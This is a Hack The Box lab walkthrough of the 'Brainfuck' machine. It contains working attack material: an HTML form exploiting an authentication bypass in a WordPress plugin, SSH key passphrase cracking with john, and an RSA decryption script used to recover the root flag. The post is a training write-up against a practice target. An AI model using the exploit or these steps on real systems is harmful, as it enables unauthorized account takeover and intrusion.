
Welcome to the next post of my HTB walkthrough. Yep, pretty much what it says on the tin, this is defiantly a brain fuck. I must admit, I got stuck multiple times but with the help of Ippsec things went a lot smoother!
Let’s start as always with our nmap scan.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA USER SASL(PLAIN) PIPELINING UIDL TOP RESP-CODES
143/tcp open imap Dovecot imapd
|_imap-capabilities: Pre-login LITERAL+ AUTH=PLAINA0001 IDLE capabilities IMAP4rev1 have more ID LOGIN-REFERRALS ENABLE post-login listed OK SASL-IR
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017–04–13T11:19:29
|_Not valid after: 2027–04–11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10–4.11 (92%), Linux 3.16 (92%), Linux 3.16–4.6 (92%), Linux 3.18 (92%), Linux 3.2–4.9 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernelHTTPS
Looking over the results above my attention goes straight to HTTPS on 443 as we see multiple DNS names. Let’s take a closer look and browse to it in addition opening the TLS certificate. We find DNS entries for:
DNS Name: www.brainfuck.htb
DNS Name: sup3rs3cr3t.brainfuck.htb…in addition finding an email address of orestis@brainfuck.htb. This may come in handy later.
Let’s update our /etc/hosts and browse to these sites…
The first site https://www.brainfuck.htb appears to be a WordPress site. The second site, https://sup3rs3cr3t.brainfuck.htb is a web forum.
Let’s focus on the WordPress site brainfuck.htb. After browsing around doing some recon my next step is to use a tool called wpscan. This tool will run a passive scan against the website looking for its version, installed extensions, and public vulnerabilities linking to these versions. My personal experience is I tend to find a lot of users running outdated extensions than outdated version of WordPress.
After running the tool, it appears this site is running an out of date extension wp-support-plus-responsive-ticket-system.
[i] Plugin(s) Identified:[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
|
| Detected By: Urls In Homepage (Passive Detection)
|
| Version: 7.1.3 (100% confidence)
| Detected By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
Let’s see if there are any public exploits for this extension!
root@kali:~/tools/AutoRecon/results/brainfuck/scans# searchsploit wordpress Plugin wp support
------------------------------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------
WordPress Plugin WP Live Chat Support 6.2.03 - Persistent Cross-Site Scripting | exploits/php/webapps/40190.txt
WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities | exploits/php/webapps/34589.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | exploits/php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection | exploits/php/webapps/40939.txt
------------------------------------------------------------Great news, it looks like we have some juicy exploits that could get us shell on the system. Lets find some more information about the exploit…
# searchsploit -x 40939.txt
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
1. DescriptionYou can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html2. Proof of Concept<form method="post" action="http://wp/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Right off the back I see “You can login as anyone without knowing the password…”. Let’s exploit it!
In our folder brainfuck/ I’ll be creating a exploit.html file using the provided information above in addition using the email address found in the Certificate.
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>We’ll save, launch a python webserver from this directory, and load our created exploit.html. As you see below there’s our form we created with a value of admin. Let’s submit and see if we’ll get authenticated!

After hitting “Login”, we’re redirected to the WordPress site and logged in as admin.

As we’re now logged in as admin, lets take a look around also to note that the extensions we saw included a support ticket system, hence with the IMAP/POP ports open on the box. Lets take a look at the extensions in the WP Dashboard:


Nice, we found a potential password that’s linked to the SMTP server!
Now that we have “orestis” password, lets try and login to the email server with these credentials.

We’ve now logged in and have mail in our account. It also looks like we have creds in an email for another website.
We know the secret forum site as we’ve been to it before. Let’s see if those creds work in which they do.

Reading those posts, it looks like we have a so called encrypted thread talking about SSH access. Lets try and see what they’re saying…
I’m not the best at cryptography so I got some well needed hints from IppSec’s review.
Let’s line up the original text and the encrypted text and see what the difference is and try and find out the one time pad.
Original text: Orestis — Hacking for fun and profit
Encrypted Text: Pieagnm — Jkoijeg nbw zwx mle grwsnn
==========================
To help us, lets use python’s ord() to find the results…
First, let’s see the value or “a” so we can subtract from our other letters.
>>> print ord("a")
97
- To decrypt, subtract P from O on the ascii table>>> print ord("o")-97
14>>> print ord("p")-97
15
Now the fun begins. For this step we’ll pull up the ascii table and start counting!

Because we’re decrypting we’ll be subtracting. Let’s start at “p” on the table and count 14 letters back which will leads us to the letter “b”.
Original text: Orestis - Hacking for fun and profit
Encrypted Text: Pieagnm - Jkoijeg nbw zwx mle grwsnn
==================================
One time pad: bNext letter, subtract i from r.
>>> print ord("r")-97
17>>> print ord("i")-97
8
Like before, let’s start from “i” and go back 17 letters and you’ll get to the letter “r”.
Original text: Orestis - Hacking for fun and profit
Encrypted Text: Pieagnm - Jkoijeg nbw zwx mle grwsnn
==========================================
One time pad: brNow that we’ve gotten two letters for our One Time Pad. Let’s visit over to a site called Rumkin cipher tools and go to one time pad http://rumkin.com/tools/cipher/otp.php
Let’s enter what we have to confirm…
Decrypt:
Your message: p
The pad: o
We get an output of: b <--- which is what we have.Let’s continue the whole pad and we get…
brainfu ckmybra inf uck myb rainfu
brainfuckmybrainfuckmybrainfu <---- taken out the spacesAs we can see above, the key seems to be repeating “fuckmybrain”.
Now let’s decrypt our message to see what we get. We’ll use the Vigenére Ciphers tool via http://rumkin.com/tools/cipher/vigenere.php

Lets put this all together using the repeated key using Keyed Vigenére Cipher via http://rumkin.com/tools/cipher/vigenere-keyed.php

As you can see we’ve decrypted the whole message. Let’s go ahead and decrypt their whole convo and identify where this SSH key is located.
There you go you stupid fuck, I hope you remember your key password because I dont :)
https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsaLets crack the passphrase for this id_rsa:
# john --wordlist=/root/tools/rockyou.txt id_rsa.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia! (/root/htb/brainfuck/id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2019-10-28 16:24) 0.3460g/s 4962Kp/s 4962Kc/s 4962KC/sa6_123..*7¡Vamos!
Session completedSSH
Excellent, time to move on to some SSH action. With the cracked passphrase let’s attempt to login via SSH.
# ssh orestis@brainfuck.htb -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage0 packages can be updated.
0 updates are security updates.You have mail.
Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$orestis@brainfuck:~$ ls -la
total 60
drwxr-xr-x 7 orestis orestis 4096 Apr 29 2017 .
drwxr-xr-x 3 root root 4096 Apr 13 2017 ..
-rw------- 1 root root 1 Dec 24 2017 .bash_history
-rw-r--r-- 1 orestis orestis 220 Apr 13 2017 .bash_logout
-rw-r--r-- 1 orestis orestis 3771 Apr 13 2017 .bashrc
drwx------ 2 orestis orestis 4096 Apr 29 2017 .cache
drwxr-xr-x 3 root root 4096 Apr 17 2017 .composer
-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt
-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Apr 29 2017 mail
-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt
-rw-r--r-- 1 orestis orestis 655 Apr 13 2017 .profile
drwx------ 8 orestis orestis 4096 Apr 29 2017 .sage
drwx------ 2 orestis orestis 4096 Apr 17 2017 .ssh
-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt
As always, let’s grab the user.txt flag.
orestis@brainfuck:~$ cat user.txt
********In orestis’ home directory, there are a few files debug.txt, encrypt.sage and output.txt
Let’s take a closer look at encrypt.sage. When we open the file we’ll see variables p,q, and n. After doing some Googeling we’ll find we’ll be dealing with RSA encryption.
To decrypt this with Google and Ippsec helping us find a script. Let’s go ahead and use it and input our current values and execute it.
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, ydef main():p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182# compute n
n = p * q# Compute phi(n)
phi = (p - 1) * (q - 1)# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = aprint( "n: " + str(d) );# Decrypt ciphertext
pt = pow(ct, d, n)
print( "pt: " + str(pt) )if __name__ == "__main__":
main()$ python /tmp/decrypt.py
n: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750
Lets now run in python…
>>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
>>> print str(hex(pt))
0x3665666331613564626238393034373531636536353636613330356262386566LTake off the 0x and the remaining L>>> '3665666331613564626238393034373531636536353636613330356262386566'.decode('hex')
'*************************'
The bolded asterisks above is the content of root.txt which is used in the original script password = open(“/root/root.txt”).read().strip().
Now go grab a drink…you need it!
